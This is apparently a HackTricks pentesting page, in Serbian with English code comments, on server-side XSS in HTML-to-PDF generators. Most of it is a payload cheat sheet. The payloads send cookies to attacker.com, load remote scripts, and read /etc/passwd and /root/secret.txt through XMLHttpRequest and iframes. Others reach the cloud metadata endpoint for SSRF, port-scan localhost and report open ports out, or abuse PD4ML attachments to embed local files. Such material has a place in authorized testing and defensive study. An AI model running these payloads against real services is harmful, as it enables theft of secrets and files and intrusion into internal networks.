Server Side XSS (Dynamic PDF)
Reading time: 8 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Server Side XSS (Dynamic PDF)
Ako web stranica kreira PDF koristeći korisnički kontrolisani unos, možete pokušati da prevarite bot koji kreira PDF da izvrši proizvoljni JS kod.
Dakle, ako bot za kreiranje PDF-a pronađe neku vrstu HTML tagova, on će ih interpretirati, i možete iskoristiti ovo ponašanje da izazovete Server XSS.
Molimo vas, primetite da <script></script>
tagovi ne rade uvek, tako da će vam biti potrebna drugačija metoda za izvršavanje JS (na primer, iskorišćavanje <img
).
Takođe, imajte na umu da ćete u redovnoj eksploataciji moći da vidite/preuzmete kreirani pdf, tako da ćete moći da vidite sve što pišete putem JS (koristeći document.write()
na primer). Ali, ako ne možete da vidite kreirani PDF, verovatno ćete morati da izvučete informacije praveći web zahteve ka vama (Blind).
Popular PDF generation
- wkhtmltopdf je poznat po svojoj sposobnosti da konvertuje HTML i CSS u PDF dokumente, koristeći WebKit rendering engine. Ovaj alat je dostupan kao open-source komandna linijska alatka, što ga čini dostupnim za širok spektar aplikacija.
- TCPDF nudi robusno rešenje unutar PHP ekosistema za generisanje PDF-a. Sposoban je da obrađuje slike, grafiku i enkripciju, pokazujući svoju svestranost za kreiranje složenih dokumenata.
- Za one koji rade u Node.js okruženju, PDFKit predstavlja izvodljivu opciju. Omogućava generisanje PDF dokumenata direktno iz HTML-a i CSS-a, pružajući most između web sadržaja i štampanih formata.
- Java programeri bi mogli preferirati iText, biblioteku koja ne samo da olakšava kreiranje PDF-a, već takođe podržava napredne funkcije poput digitalnih potpisa i popunjavanja obrazaca. Njegov sveobuhvatan skup funkcija čini ga pogodnim za generisanje sigurnih i interaktivnih dokumenata.
- FPDF je još jedna PHP biblioteka, koja se odlikuje svojom jednostavnošću i lakoćom korišćenja. Dizajnirana je za programere koji traže jednostavan pristup generisanju PDF-a, bez potrebe za opsežnim funkcijama.
Payloads
Discovery
<!-- Basic discovery, Write something-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
<!-- Using base HTML tag -->
<base href="http://attacker.com" />
<!-- Loading external stylesheet -->
<link rel="stylesheet" src="http://attacker.com" />
<!-- Meta-tag to auto-refresh page -->
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
<!-- Loading external components -->
<input type="image" src="http://attacker.com" />
<video src="http://attacker.com" />
<audio src="http://attacker.com" />
<audio><source src="http://attacker.com"/></audio>
<svg src="http://attacker.com" />
SVG
Bilo koji od prethodnih ili sledećih payload-a može se koristiti unutar ovog SVG payload-a. Jedan iframe koji pristupa Burpcollab poddomeni i drugi koji pristupa metadata endpoint-u su dati kao primeri.
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>
Možete pronaći mnogo drugih SVG payload-a u https://github.com/allanlw/svg-cheatsheet
Otkrivanje putanje
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
Učitajte eksterni skript
Najbolji način da iskoristite ovu ranjivost je da zloupotrebite ranjivost kako biste naterali bot da učita skript koji lokalno kontrolišete. Tada ćete moći da promenite payload lokalno i naterate bot da ga učita sa istim kodom svaki put.
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
Čitaj lokalnu datoteku / SSRF
warning
Promenite file:///etc/passwd
u http://169.254.169.254/latest/user-data
na primer da pokušate da pristupite eksternoj veb stranici (SSRF).
Ako je SSRF dozvoljen, ali ne možete da dođete do zanimljive domene ili IP adrese, proverite ovu stranicu za potencijalne zaobilaženja.
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
Kašnjenje bota
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">
Port Scan
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}
for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">
SSRF
Ova ranjivost se može vrlo lako pretvoriti u SSRF (jer možete naterati skriptu da učita spoljne resurse). Tako da samo pokušajte da je iskoristite (pročitajte neke metapodatke?).
Attachments: PD4ML
Postoje neki HTML 2 PDF alati koji omogućavaju da specifikujete priloge za PDF, kao što je PD4ML. Možete zloupotrebiti ovu funkciju da priložite bilo koju lokalnu datoteku PDF-u.
Da bih otvorio prilog, otvorio sam datoteku sa Firefox-om i dvaput kliknuo na simbol spajalice da sačuvam prilog kao novu datoteku.
Zahvatanje PDF odgovora sa burp-om takođe bi trebalo da prikaže prilog u čistom tekstu unutar PDF-a.
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html>
<pd4ml:attachment
src="/etc/passwd"
description="attachment sample"
icon="Paperclip" />
</html>
Reference
- https://lbherrera.github.io/lab/h1415-ctf-writeup.html
- https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/
- https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html
- https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c
- https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.